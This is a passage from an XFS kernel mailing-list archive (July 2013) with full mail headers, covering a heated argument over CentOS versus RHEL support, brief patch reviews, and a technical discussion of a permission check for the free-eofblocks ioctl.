X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/26/2013 12:40 PM, Jason Rosenberg wrote: > Anyway, I'm surprised that you don't have some list or other way to > correlate version history of XFS, with os release versions. I'm guessing > the version I have is not using the latest/greatest. We actually have > another system that uses an older version of the kernel (2.6.32-279), and 2.6.32-279 - this is not a mainline kernel version. This is a Red Hat specific string describing their internal kernel release. It has zero correlation to any version number of anything else in the world of mainline Linux. > If, say you tell me, the mainline xfs code has improved behavior, it would > be nice to have a way to know which version of CentOS might include that? IMNSHO, CentOS is a free proprietary chrome plated dog turd. It's flashy on the outside and claims it's "ENTERPRISE", "just like RHEL!". Then you crack it open and find nothing but crap inside. So you take it back to the store that gave it away for free and the doors are barred, the place out of business. The chrome has peeled off and you're stuck with crap that difficult to use. Every time you touch it you get dirty in some fashion. RHEL is a proprietary solid chrome turd you pay for. You can't get to the inside, but if you find a scratch and 'return' it Red Hat will say "we can help you fix that". If you avoid the flashy turds altogether while still plunking down no cash, and use a distro based entirely on mainline Linux and GNU user space source, you can get help directly from the folks who wrote the code you're running because they know what is where. Whether it be Linux proper, the XFS subsystem, NFS, Samba, Postix, etc. Such distributions are too numerous to mention. None of them are chrome plated, none claim to be "just like ENTERPRISE distro X". I tell all users of RHEL knock offs every time I see a situation like this: Either pay for and receive the support that's required for the proprietary distribution you're running, or use a completely open source distro based on mainline kernel source and GNU user space. By using a RHEL knock off, you're simply locking yourself into an outdated proprietary code base for which there is no viable support option, because so few people in the community understand the packaging of the constituent parts of the RHEL kernels. This is entirely intentional on the part of Red Hat, specifically to make the life of CentOS users painful, and rightfully so. FYI, many of the folks on the XFS list are Red Hat employees, including Dave. They'll gladly assist RHEL customers here if needed. However, to support CentOS users, especially in your situation, they'd have to use Red Hat Inc resources to hunt down the information related to the CentOS kernel you have that correlates to the RHEL kernel it is copied from. So they've just consumed Red Hat Inc resources to directly assist a free competitor who copied their distro. Thus there's not much incentive to assist CentOS users as they'd in essence be taking money out of their employer's pocket. Taken to the extreme this results in pay cuts, possibly furloughs or pink slips, etc. Surely this can't be the first time you've run into a free community support issue with the CentOS kernel. Surely what I've written isn't news to you. Pay Red Hat for RHEL, or switch to Debian, Ubuntu, Open Suse, etc. Either way you'll be able to get much better support. -- Stan From dwight.engen@oracle.com Fri Jul 26 14:30:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EB8AE29E21 for ; Fri, 26 Jul 2013 14:30:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 97822AC002 for ; Fri, 26 Jul 2013 12:30:24 -0700 (PDT) X-ASG-Debug-ID: 1374867015-04bdf02f21e64c0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Ip1RCNNXHrF1hnXA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 26 Jul 2013 12:30:15 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6QJTkvN026154 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 26 Jul 2013 19:29:56 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6QJTgMX012736 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 26 Jul 2013 19:29:43 GMT Received: from abhmt106.oracle.com (abhmt106.oracle.com [141.146.116.58]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6QJTftW013953; Fri, 26 Jul 2013 19:29:42 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 26 Jul 2013 12:29:41 -0700 Date: Fri, 26 Jul 2013 15:29:37 -0400 From: Dwight Engen To: Dave Chinner Cc: xfs@oss.sgi.com, Brian Foster Subject: Re: [PATCH v6 6/7] xfs: add permission check to free eofblocks ioctl Message-ID: <20130726152937.2eb3b4f0@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v6 6/7] xfs: add permission check to free eofblocks ioctl In-Reply-To: <20130726012927.GC21982@dastard> References: <20130725114946.13c7e4ad@oracle.com> <20130726012927.GC21982@dastard> Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374867015 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137330 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Fri, 26 Jul 2013 11:29:27 +1000 Dave Chinner wrote: > On Thu, Jul 25, 2013 at 11:49:46AM -0400, Dwight Engen wrote: > > We need to check that userspace callers can only truncate > > preallocated blocks from files they have write access to to prevent > > them from prematurley reclaiming blocks from another user. The > > internal reclaimer will not specify the internal > > XFS_KEOF_FLAGS_PERM_CHECK flag, but callers from userspace will > > have it forced on. > > > > Add check for read-only filesystem to free eofblocks ioctl. > > OK, so let me preface this by saying I understand a lot more about > user namespaces that I did a week ago... > > Firstly, this ioctls allows any user to call this function with > arbitrary uid/gid/prid values here. Regardless of user namespaces, I > think that the only UID/GID that should be allowed to be passed for > a user context is their own UID/GID. There's no point in allowing a > scan if the inode_permission()/uid/gid matching checks are always > going to fail. Hi Dave, I agree this patch isn't really about user namespaces. The reason for using inode_permission instead of just checking eofblocks->gid == current_fsgid is that the caller might want to trim an inode they have group write to but is not current_fsgid. When a caller passes in a uid/gid/projid, they are asking us to consider a smaller subset of inodes for trimming. If they don't pass in uid/gid/projid, the list of inodes is unfiltered and the inode_permission is what ensures they should be able to effect a particular inode. > Secondly, because a user can issue an arbitrary number of concurrent > scans, I'd suggest we serialise all user scans through a per-mount > mutex. i.e. there can only be one user scan in progress at a time. > For users with capable(CAP_SYS_ADMIN), we don't need to serialise > them as we let root in the init userns shoot themselves in the foot > all they want. I can add this. > Thirdly, project quotas are not really a user controlled resource > and so I don't think we want users calling this ioctl to trim > project quotas. Indeed, the files in the project that need trimming > may not even belong to the user running the scan, and hence the > user will never be allowed to trim the EOF blocks. > > Further, project quotas might underly the namespace container and be > used for limiting the disk space the namespace container uses. In > which case, we don't even want access to the project ID scanning > from within the namespace. > > Because of this, I'd suggest that project ID scans need a > "capable(CAP_SYS_ADMIN)" check on them. This means a project ID scan > can only be run from the init_userns - it cannot be done from within > the userns container at all. I don't think this would be preventing anything the user can already do: the user just doesn't specify a projid and so we will just look at all the nodes. Specifying a uid/gid/projid only filters/limits the amount of nodes we'll consider, which I think could be useful ie. the caller passes in a projid which will only trim inodes that match the projid and which the caller has inode_permission to. > ..... > > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > > index ed35584..a80f38c 100644 > > --- a/fs/xfs/xfs_icache.c > > +++ b/fs/xfs/xfs_icache.c > > @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( > > if (!xfs_inode_match_id(ip, eofb)) > > return 0; > > > > + if ((eofb->eof_flags & XFS_KEOF_FLAGS_PERM_CHECK) > > && > > + inode_permission(VFS_I(ip), MAY_WRITE)) > > + return 0; > > Lastly, what happens if this inode_permission() call occurs in the > context of a kworker thread. What userns does an anonymous kworker > thread run in? It's the init userns, right? so: > > inode_permission(inode, MAY_WRITE); > generic_permission(inode, MAY_WRITE) > inode_capable(inode, CAP_DAC_OVERRIDE) > { > ns = current_user_ns(); > return ns_capable(ns, cap) && > kuid_has_mapping(ns, inode->i_uid); > } > > If we are running in the init_userns as a kernel thread, the > ns_capable() check will return true, and there's always a mapping in > the init namespace so kuid_has_mapping() will return true. Hence > we'll always have write permission to every inode we check, > regardless of the XFS_KEOF_FLAGS_PERM_CHECK flag. > > IOWs, this permission check is useless if we run the scan via a > workqueue. Hence we need to be *very careful* with the way we > execute scans and so this needs big, loud comments around it to > remind us to be careful in the future. Right, the XFS_KEOF_FLAGS_PERM_CHECK flag should not be on for internal contexts so the inode_permission check won't even be done (and it would pass anyway as you mention). I can add a big comment that XFS_KEOF_FLAGS_PERM_CHECK should only be used from process context because it won't work otherwise. > > +#define XFS_KEOF_FLAGS_PERM_CHECK (1 << 31) /* check can > > write inode */ +#if XFS_KEOF_FLAGS_PERM_CHECK & XFS_EOF_FLAGS_VALID > > +#error "Internal XFS_KEOF_FLAGS_PERM_CHECK duplicated bit from > > XFS_EOF_FLAGS_VALID" +#endif > > BUILD_BUG_ON() is the preferred method of doing this. Say, in > xfs_super.c::init_xfs_fs(). Sounds good, will do it there. > Cheers, > > Dave. From tinguely@sgi.com Fri Jul 26 14:33:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 578DE29E21 for ; Fri, 26 Jul 2013 14:33:15 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1C06E30407B; Fri, 26 Jul 2013 12:33:15 -0700 (PDT) Message-ID: <51F2CEFA.1040907@sgi.com> Date: Fri, 26 Jul 2013 14:33:14 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 25/49] xfs: consolidate xfs_rename.c References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-26-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-26-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > Move the rename code to xfs_inode.c to continue consolidating > all the kernel xfs_inode operations in the one place. > > Signed-off-by: Dave Chinner > --- Simple copy of the xfs_rename functions to xfs_inode.c Looks good. Reviewed-by: Mark Tinguely From jra@baylink.com Fri Jul 26 14:43:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D358A29E21 for ; Fri, 26 Jul 2013 14:43:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B35848F8035 for ; Fri, 26 Jul 2013 12:43:48 -0700 (PDT) X-ASG-Debug-ID: 1374867826-04cbb02c3bd9b60001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id EbRzCK43f7VIwtr2 for ; Fri, 26 Jul 2013 12:43:47 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 8E66C1F0014B for ; Fri, 26 Jul 2013 15:43:46 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id M4rL7LX01myf for ; Fri, 26 Jul 2013 15:43:42 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 66CD71F0017E for ; Fri, 26 Jul 2013 15:43:42 -0400 (EDT) Date: Fri, 26 Jul 2013 15:43:42 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <21422056.2320.1374867822351.JavaMail.root@benjamin.baylink.com> In-Reply-To: <51F2CD8B.8080207@hardwarefreak.com> Subject: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.163.222] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1374867827 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137330 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "Stan Hoeppner" > IMNSHO, CentOS is a free proprietary chrome plated dog turd. It's > flashy on the outside and claims it's "ENTERPRISE", "just like RHEL!". > Then you crack it open and find nothing but crap inside. So you take it > back to the store that gave it away for free and the doors are barred, > the place out of business. The chrome has peeled off and you're stuck > with crap that difficult to use. Every time you touch it you get dirty > in some fashion. Don't hold back, Stan; tell us how you *really* feel. :-) > FYI, many of the folks on the XFS list are Red Hat employees, including > Dave. They'll gladly assist RHEL customers here if needed. However, to > support CentOS users, especially in your situation, they'd have to use > Red Hat Inc resources to hunt down the information related to the CentOS > kernel you have that correlates to the RHEL kernel it is copied from. > So they've just consumed Red Hat Inc resources to directly assist a free > competitor who copied their distro. At this point, Stan, though, I believe you've forgotten the Social Contract of Free/Open Source software: *I didn't built [most of] that*. And participating in the FOSS ecosystem is the price I pay to not have had to build that. Red Hat, admittedly, is a much larger contributor to both the kernel, and user space, than some other people. And CentOS is, admittedly, much more of a knockoff than most other distributions. But it would also be good to remember, here, the reason why it looked necessary to create CentOS in the first place: Red Hat went into the commercial software business with RHEL, and left behind Fedora which -- I've tried -- is not really a practical solution for business use, the way, say, RH 7 was, or SuSE 10/11 were. There was an amazingly large amount of commerce that was big enough to use Linux, but not big enough to pay $1200/machine/year for the privilege, which ought to be no surprise to anyone who does this for a living. I am myself, in fact, about to switch to CentOS, because the Release Configuration Manager for openSUSE has gone insane, not only replacing sysVinit with Mr Poettering's $EXPLETIVE, but *dropping support throughout the packaging system for sysV compatible initscripts on boot-start apps*. Without proper notice of deprecation. It isn't always just the code. But to address your specific point, I don't believe that RH is going to base its opinion on what time its employees spend supporting the remainder of the FOSS ecosystem on whether the relevant distro was copied from theirs, or not -- and I will be disappointed, publicly, and vocally, if they do. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From tinguely@sgi.com Fri Jul 26 15:16:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1AE0529E21 for ; Fri, 26 Jul 2013 15:16:30 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id EF686304082; Fri, 26 Jul 2013 13:16:26 -0700 (PDT) Message-ID: <51F2D919.4090907@sgi.com> Date: Fri, 26 Jul 2013 15:16:25 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 26/49] xfs: consolidate xfs_utils.c References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-27-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-27-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > There are a few small helper functions in xfs_util, all related to > xfs_inode modifications. Move them all to xfs_inode.c so all > xfs_inode operations are consiolidated in the one place. > > Signed-off-by: Dave Chinner > --- As noted before, a xfs_utils.h did not get removed from xfs_inode_fork.c Clean moves with some typedef to struct conversion on the moved function prototypes. With the removal of xfs_utils.h from xfs_inode_fork.c considered this Reviewed-by: Mark Tinguely From jbr@squareup.com Fri Jul 26 15:38:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 523DD29E21 for ; Fri, 26 Jul 2013 15:38:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 41476304082 for ; Fri, 26 Jul 2013 13:38:23 -0700 (PDT) X-ASG-Debug-ID: 1374871101-04cb6c2e9fe10f0001-NocioJ Received: from mail-vb0-f43.google.com (mail-vb0-f43.google.com [209.85.212.43]) by cuda.sgi.com with ESMTP id oy7ZH6KTBo8xPyhG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 26 Jul 2013 13:38:21 -0700 (PDT) X-Barracuda-Envelope-From: jbr@squareup.com X-Barracuda-Apparent-Source-IP: 209.85.212.43 Received: by mail-vb0-f43.google.com with SMTP id h11so616259vbh.2 for ; Fri, 26 Jul 2013 13:38:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squareup.com; s=google; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=/yfDy6ekZSIQmjKaI6vaubb9Vnx7OcUFbq3FeZo8Q/M=; b=cZVZrBFJ1IUZTpzycnrmy1TJ2Z4PEUEV6BkZ5f2aZ53r6VfphN8Zyvnn+gpseuZpVL QCAUmd/HXXDuy91rEgBgdJmWAQ6gl2xlwMLUvtbWVyjBAu8RbjS5JwaDeKzxaYRjsc9o xjqOhoVVFfZX+DDM7stIMTQW1DfJAzRZCkD+w= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:x-gm-message-state; bh=/yfDy6ekZSIQmjKaI6vaubb9Vnx7OcUFbq3FeZo8Q/M=; b=QQx4/IWgJvXfqDYYiokdx4ocDJu0IFyc9M1FH1K9qGfCfC4ZbHn2qE2prQYzPX34dy kDkLbdcD10c2b8SCLjYDUTjIqLcRP1eD+MfHlM3p/gbb3AiwrQ+IRO0uWM64ZPc9cmIi D3jQuNxLAxwD1+H1WvkhZ/KmDMyyXYmBXmreLKnHK9HIHkrqWAS6zNvJ5508HiTNhCeS IvCby/APHKVrC17o5oLq2ud+GQvIvAQvxTmsCxT1JYETnRVlpoIbbIFTgFUbAbbBPVMD 8ti0QLiQwU8Dhi6L1GaEOa+AKuOYUjxWc5LAoDjC2o0mmN2AXIitzCkCrZBrinwBhXlt z3xg== MIME-Version: 1.0 X-Received: by 10.52.96.195 with SMTP id du3mr17982123vdb.71.1374871101129; Fri, 26 Jul 2013 13:38:21 -0700 (PDT) Received: by 10.52.184.194 with HTTP; Fri, 26 Jul 2013 13:38:21 -0700 (PDT) In-Reply-To: <51F2CD8B.8080207@hardwarefreak.com> References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> <51F2CD8B.8080207@hardwarefreak.com> Date: Fri, 26 Jul 2013 16:38:21 -0400 Message-ID: Subject: Re: understanding speculative preallocation From: Jason Rosenberg X-ASG-Orig-Subj: Re: understanding speculative preallocation To: stan@hardwarefreak.com Cc: Dave Chinner , xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=20cf307f33cc985e2304e2701f29 X-Gm-Message-State: ALoCoQnI8dwmrxxNiQRSRcLKUI5xHKcbQem5rs3Z7dfBMQDHagrC45mVTnLkNbwLKHVv3+mF862g X-Barracuda-Connect: mail-vb0-f43.google.com[209.85.212.43] X-Barracuda-Start-Time: 1374871101 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137331 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --20cf307f33cc985e2304e2701f29 Content-Type: text/plain; charset=ISO-8859-1 Hi Stan, Thanks for the info (most of it was, in fact, news to me). I'm an application developer trying to debug a disk space problem, that's all. So far, I've tracked it down to being an XFS issue. So you are saying there's no public information that can correlate XFS versioning to CentOS (or RHEL) versioning? Sad state of affairs. If anyone can volunteer this info (if available to you) I'd be much appreciative. Regardless, is there a version history for XFS vis-a-via mainline Linux? Thanks, Jason On Fri, Jul 26, 2013 at 3:27 PM, Stan Hoeppner wrote: > On 7/26/2013 12:40 PM, Jason Rosenberg wrote: > > > Anyway, I'm surprised that you don't have some list or other way to > > correlate version history of XFS, with os release versions. I'm guessing > > the version I have is not using the latest/greatest. We actually have > > another system that uses an older version of the kernel (2.6.32-279), and > > 2.6.32-279 - this is not a mainline kernel version. This is a Red Hat > specific string describing their internal kernel release. It has zero > correlation to any version number of anything else in the world of > mainline Linux. > > > If, say you tell me, the mainline xfs code has improved behavior, it > would > > be nice to have a way to know which version of CentOS might include that? > > IMNSHO, CentOS is a free proprietary chrome plated dog turd. It's > flashy on the outside and claims it's "ENTERPRISE", "just like RHEL!". > Then you crack it open and find nothing but crap inside. So you take it > back to the store that gave it away for free and the doors are barred, > the place out of business. The chrome has peeled off and you're stuck > with crap that difficult to use. Every time you touch it you get dirty > in some fashion. > > RHEL is a proprietary solid chrome turd you pay for. You can't get to > the inside, but if you find a scratch and 'return' it Red Hat will say > "we can help you fix that". > > If you avoid the flashy turds altogether while still plunking down no > cash, and use a distro based entirely on mainline Linux and GNU user > space source, you can get help directly from the folks who wrote the > code you're running because they know what is where. Whether it be > Linux proper, the XFS subsystem, NFS, Samba, Postix, etc. Such > distributions are too numerous to mention. None of them are chrome > plated, none claim to be "just like ENTERPRISE distro X". I tell all > users of RHEL knock offs every time I see a situation like this: > > Either pay for and receive the support that's required for the > proprietary distribution you're running, or use a completely open source > distro based on mainline kernel source and GNU user space. By using a > RHEL knock off, you're simply locking yourself into an outdated > proprietary code base for which there is no viable support option, > because so few people in the community understand the packaging of the > constituent parts of the RHEL kernels. This is entirely intentional on > the part of Red Hat, specifically to make the life of CentOS users > painful, and rightfully so. > > FYI, many of the folks on the XFS list are Red Hat employees, including > Dave. They'll gladly assist RHEL customers here if needed. However, to > support CentOS users, especially in your situation, they'd have to use > Red Hat Inc resources to hunt down the information related to the CentOS > kernel you have that correlates to the RHEL kernel it is copied from. > So they've just consumed Red Hat Inc resources to directly assist a free > competitor who copied their distro. > > Thus there's not much incentive to assist CentOS users as they'd in > essence be taking money out of their employer's pocket. Taken to the > extreme this results in pay cuts, possibly furloughs or pink slips, etc. > > Surely this can't be the first time you've run into a free community > support issue with the CentOS kernel. Surely what I've written isn't > news to you. Pay Red Hat for RHEL, or switch to Debian, Ubuntu, Open > Suse, etc. Either way you'll be able to get much better support. > > -- > Stan > > --20cf307f33cc985e2304e2701f29 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Hi Stan,

    Thanks for the info (most of i= t was, in fact, news to me). =A0I'm an application developer trying to = debug a disk space problem, that's all. =A0So far, I've tracked it = down to being an XFS issue.

    So you are saying there's no public information tha= t can correlate XFS versioning to CentOS (or RHEL) versioning?
    Sad state of affairs.

    If anyone can v= olunteer this info (if available to you) I'd be much appreciative.

    Regardless, is there a version history for XFS vis-a-vi= a mainline Linux?

    Thanks,

    Jason


    On Fri, Jul 26, 2013 at 3:27 PM, Stan Hoeppner <stan@hardwarefreak.co= m> wrote:
    On 7/26/2013 12:40 PM, Jason Rosenberg wrote:

    > Anyway, I'm surprised that you don't h= ave some list or other way to
    > correlate version history of XFS, with os release versions. =A0I'm= guessing
    > the version I have is not using the latest/greatest. =A0We actually ha= ve
    > another system that uses an older version of the kernel (2.6.32-279), = and

    2.6.32-279 =A0- this is not a mainline kernel version. =A0This is a R= ed Hat
    specific string describing their internal kernel release. =A0It has zero correlation to any version number of anything else in the world of
    mainline Linux.

    > If, say you tell me, the mainline xfs code has improved behavior, it w= ould
    > be nice to have a way to know which version of CentOS might include th= at?

    IMNSHO, CentOS is a free proprietary chrome plated dog turd. =A0It= 9;s
    flashy on the outside and claims it's "ENTERPRISE", "jus= t like RHEL!".
    Then you crack it open and find nothing but crap inside. =A0So you take it<= br> back to the store that gave it away for free and the doors are barred,
    the place out of business. =A0The chrome has peeled off and you're stuc= k
    with crap that difficult to use. =A0Every time you touch it you get dirty in some fashion.

    RHEL is a proprietary solid chrome turd you pay for. =A0You can't get t= o
    the inside, but if you find a scratch and 'return' it Red Hat will = say
    "we can help you fix that".

    If you avoid the flashy turds altogether while still plunking down no
    cash, and use a distro based entirely on mainline Linux and GNU user
    space source, you can get help directly from the folks who wrote the
    code you're running because they know what is where. =A0Whether it be Linux proper, the XFS subsystem, NFS, Samba, Postix, etc. =A0Such
    distributions are too numerous to mention. =A0None of them are chrome
    plated, none claim to be "just like ENTERPRISE distro X". =A0I te= ll all
    users of RHEL knock offs every time I see a situation like this:

    Either pay for and receive the support that's required for the
    proprietary distribution you're running, or use a completely open sourc= e
    distro based on mainline kernel source and GNU user space. =A0By using a RHEL knock off, you're simply locking yourself into an outdated
    proprietary code base for which there is no viable support option,
    because so few people in the community understand the packaging of the
    constituent parts of the RHEL kernels. =A0This is entirely intentional on the part of Red Hat, specifically to make the life of CentOS users
    painful, and rightfully so.

    FYI, many of the folks on the XFS list are Red Hat employees, including
    Dave. =A0They'll gladly assist RHEL customers here if needed. =A0Howeve= r, to
    support CentOS users, especially in your situation, they'd have to use<= br> Red Hat Inc resources to hunt down the information related to the CentOS kernel you have that correlates to the RHEL kernel it is copied from.
    So they've just consumed Red Hat Inc resources to directly assist a fre= e
    competitor who copied their distro.

    Thus there's not much incentive to assist CentOS users as they'd in=
    essence be taking money out of their employer's pocket. =A0Taken to the=
    extreme this results in pay cuts, possibly furloughs or pink slips, etc.
    Surely this can't be the first time you've run into a free communit= y
